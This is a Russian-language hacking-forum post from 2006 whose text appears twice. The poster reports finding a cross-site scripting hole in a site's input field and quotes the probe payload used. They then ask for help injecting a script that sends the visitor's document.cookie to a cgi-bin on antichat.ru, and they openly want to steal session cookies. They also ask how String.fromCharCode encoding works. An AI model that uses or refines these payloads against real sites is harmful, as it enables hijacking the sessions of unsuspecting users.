m2infect
30.06.2006, 02:29
Господа. Помогите пожалуйста.
Долго и упорно искал XSS. И вот наконец результат.
Есть поле. Ввожу туда
";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,84,83))
</SCRIPT>=&{}
пишет XTS - что соответствует 88,84,83.
Хотелось бы туда зарисовать след. текст
<script>img=new Image(); img.src="http://antichat.ru/cgi-bin/s.jpg?;"+document.cookie;</script>
Ну тут понятно что я хочу.
И если не трудно расскажите пожалуйста про этот формат String.fromCharCode.
Всем огромное спасибо.
Долго и упорно искал XSS. И вот наконец результат.
Есть поле. Ввожу туда
";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,84,83))
</SCRIPT>=&{}
пишет XTS - что соответствует 88,84,83.
Хотелось бы туда зарисовать след. текст
<script>img=new Image(); img.src="http://antichat.ru/cgi-bin/s.jpg?;"+document.cookie;</script>
Ну тут понятно что я хочу.
И если не трудно расскажите пожалуйста про этот формат String.fromCharCode.
Всем огромное спасибо.